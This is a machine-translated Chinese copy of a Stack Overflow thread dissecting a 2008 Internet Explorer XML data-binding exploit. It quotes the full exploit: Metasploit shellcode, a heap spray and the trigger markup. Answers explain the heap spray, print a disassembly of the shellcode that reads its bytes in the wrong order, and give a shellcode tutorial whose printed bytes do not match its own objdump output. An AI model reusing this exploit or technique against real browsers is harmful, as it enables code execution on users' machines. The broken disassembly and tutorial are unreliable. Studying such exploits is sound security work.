145

我通常不难阅读 JavaScript 代码，但对于这个我无法弄清楚其中的逻辑。该代码来自于 4 天前发布的漏洞利用。你可以在milw0rm找到它。

这是代码：

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

这就是我相信它的作用，我希望你能帮助我解决我误解的部分。

该变量shellcode包含打开calc.exe. 我不明白他们是如何找到那个奇怪的字符串的。任何的想法？

第二件事是变量spray。我不明白这个奇怪的循环。

第三件事是memory从未在任何地方使用过的变量。他们为什么要创造它？

最后一件事：XML 标签在页面中的作用是什么？

目前我有很好的答案，但大多是非常笼统的。我想要更多关于代码价值的解释。一个例子是unescape("%u0a0a%u0a0a");。这是什么意思？循环也一样：为什么开发人员写：length < 0xd0000？我想更深入的了解，而不仅仅是这个代码的理论。

4

7 回答 7

321

shellcode 包含一些 x86 汇编指令，这些指令将执行实际的利用。spray创建一长串将被放入的指令memory。由于我们通常无法找到我们的 shellcode 在内存中的确切位置，因此我们nop在它之前放置了很多指令并跳转到那里的某个地方。该memory数组将保存实际的 x86 代码以及跳转机制。我们会将精心制作的 XML 提供给存在错误的库。当它被解析时，这个错误会导致指令指针寄存器被分配到我们漏洞利用的某个地方，从而导致任意代码执行。

要更深入地理解，您实际上应该弄清楚 x86 代码中的内容。unscape将用于将字符串表示的字节序列放入spray变量中。它是有效的 x86 代码，它填充了一大块堆并跳转到 shellcode 的开头。结束条件的原因是脚本引擎的字符串长度限制。您不能有大于特定长度的字符串。

在 x86 程序集中，0a0a表示or cl, [edx]. 这实际上等同于nop我们利用的目的的指令。无论我们跳转到哪里spray，我们都会进入下一条指令，直到我们到达 shellcode，也就是我们真正想要执行的代码。

如果您查看 XML，您会发现0x0a0a那里也有。准确描述发生了什么需要对漏洞利用的特定知识（你必须知道漏洞在哪里以及它是如何被利用的，我不知道）。但是，我们似乎通过将 设置innerHtml为该恶意 XML 字符串来强制 Internet Explorer 触发错误代码。Internet Explorer 尝试解析它，并且错误的代码以某种方式控制了数组存在的内存位置（因为它是一个大块，所以跳转到那里的概率很高）。当我们跳转到那里时，CPU 将继续执行or cl, [edx]指令，直到到达放入内存中的 shellcode 的开头。

我已经反汇编了shellcode：

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

理解这个 shellcode 需要 x86 汇编知识和 MS 库本身的问题（知道我们到达这里时系统状态是什么），而不是 JavaScript！该代码将依次执行calc.exe。

于 2008-12-19T15:03:18.733 回答
10

这看起来像是对Microsoft 为其发布紧急补丁的最近 Internet Explorer 漏洞的利用。它使用了 Microsoft XML 处理程序的数据绑定功能中的一个缺陷，导致堆内存被错误地释放。

Shellcode 是发生错误时将运行的机器代码。喷雾和内存只是在堆上分配的一些空间，以帮助发生可利用的情况。

于 2008-12-19T15:06:16.980 回答
3

堆喷射是利用浏览器的常用方法，如果你喜欢它，你可以找到几篇这样的帖子： http: //sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html

于 2008-12-19T15:34:37.610 回答
2

每当我看到在漏洞利用讨论中没有得到解决的内存时，我的第一个想法是漏洞利用是某种缓冲区溢出，在这种情况下，内存要么导致缓冲区溢出，要么一旦缓冲区溢出就被访问.

于 2008-12-19T14:58:46.437 回答
0

这是来自 metasploit，这意味着它使用的是 metasploit shell 代码之一。它是开源的，所以你可以去获取它：http ://www.metasploit.com/

于 2008-12-19T15:32:58.567 回答
0

请参阅HTML 中的字符编码。

它是编码为字符串的二进制数据，JavaScript 正在对其进行解码。

常见的XSS形式也是如此。

你可以在这里看到所有的编码技巧：

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project

于 2009-04-23T02:30:08.427 回答
0

简单的shellcode示例

我相信在汇编 at&t 语法 x86 中的世界你好（培训中的向导）。

设置文件：vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

像这样编译：as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

现在你有一个打印出 hello world 的二进制文件。将二进制文件转换为 shell 代码类型：objdump -D shellcode

你会得到输出：

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

现在，如果您查看带有文本的第 4 行，您将看到：400078: eb 1a jmp 0x400094

所说的部分eb 1a是汇编指令的十六进制表示，jmp one其中“one”是字符串的内存地址。

准备你的shellcode执行打开另一个文本文件并将十六进制值存储在字符数组中。要正确格式化 shell 代码，请\x在每个十六进制值之前输入 a。

根据 objdump 命令输出，接下来的 shell 代码示例将如下所示：

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

此示例使用 C 作为数组。现在你有工作的 shellcode 将写入标准输出“hello world”

您可以通过将其置于漏洞中来测试 shell 代码，也可以编写以下 c 程序对其进行测试：

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

编译程序类型：

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

run with ./run You know have a working example of simple shellcode development that was tested in linux mint/debian.

于 2018-03-31T15:17:15.597 回答